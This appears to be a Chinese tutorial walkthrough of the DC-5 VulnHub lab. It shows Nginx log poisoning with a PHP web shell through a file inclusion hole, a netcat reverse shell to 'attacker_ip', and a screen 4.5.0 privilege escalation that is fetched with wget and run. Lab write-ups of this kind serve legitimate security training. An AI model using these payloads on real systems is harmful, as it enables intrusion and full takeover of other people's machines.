DC:5
字数 1020 2025-08-19 12:41:52
DC-5 靶机渗透测试教学文档
一、环境信息
- 攻击机IP: 192.168.44.133
- 靶机IP: 192.168.44.138, 192.168.44.142
- 靶机下载地址: https://vulnhub.com/entry/dc-5,314/
二、信息收集阶段
1. 主机发现
使用以下命令发现存活主机:
nmap -sn 192.168.44.0/24
# 或
arp-scan -I eth0 -l
2. 端口扫描
扫描结果显示靶机开放了两个服务:
- 80端口(HTTP服务)
- RPC服务
3. 目录扫描
使用工具如dirb、gobuster或dirsearch扫描网站目录结构
三、漏洞发现与利用
1. 文件包含漏洞发现
- 发现
footer.php文件,显示版权信息且每次访问时间会变化 thankyou.php页面下方也有版权字段,推测thankyou.php包含了footer.php- 确认存在文件包含漏洞
2. 文件包含漏洞利用
由于漏洞只能读取文件内容,需要创造性利用:
-
思路: 利用网站日志文件写入木马
- Nginx默认日志路径:
/var/log/nginx/ - 包含两个文件:
access.log(访问日志)和error.log(错误日志)
- Nginx默认日志路径:
-
实施步骤:
- 访问一个不存在的目录,URL中包含一句话木马代码
- 错误信息会被记录到
error.log中 - 通过文件包含漏洞访问
error.log文件
-
实际操作:
# 访问包含木马的URL curl "http://target/<?php system($_GET['cmd']); ?>" # 然后通过文件包含访问error.log http://target/thankyou.php?file=/var/log/nginx/error.log -
注意事项:
- 直接访问可能导致URL编码问题破坏PHP代码
- 建议使用Burp Suite抓包并手动构造请求
四、获取WebShell
- 使用蚁剑(AntSword)连接成功
- 建立反向shell:
# 在蚁剑中执行 nc -e /bin/bash attacker_ip 4444 - 创建交互式shell:
python -c 'import pty;pty.spawn("/bin/bash")'
五、权限提升
1. 初步提权尝试
# 检查sudo权限
sudo -l
# 查找具有SUID权限的文件
find / -perm -u=s -type f 2>/dev/null
2. 利用screen漏洞提权
-
发现漏洞:
- 发现系统安装了screen 4.5.0版本
- 在searchsploit中找到对应漏洞
-
漏洞利用:
- ExploitDB中POC路径:
/usr/share/exploitdb/exploits/linux/local/ - 是一个bash脚本,可直接执行
- ExploitDB中POC路径:
-
实施步骤:
# 在攻击机上启动HTTP服务 python3 -m http.server 80 # 在靶机上下载并执行POC wget http://attacker_ip/exploit.sh chmod +x exploit.sh ./exploit.sh
六、总结
-
渗透路径:
- 信息收集 → 文件包含漏洞发现 → 日志文件注入 → WebShell获取 → 权限提升
-
关键点:
- 文件包含漏洞的创造性利用
- 日志文件注入技巧
- screen 4.5.0版本的提权漏洞
-
防御建议:
- 限制文件包含功能
- 及时更新软件版本
- 限制日志文件访问权限
- 最小化SUID权限文件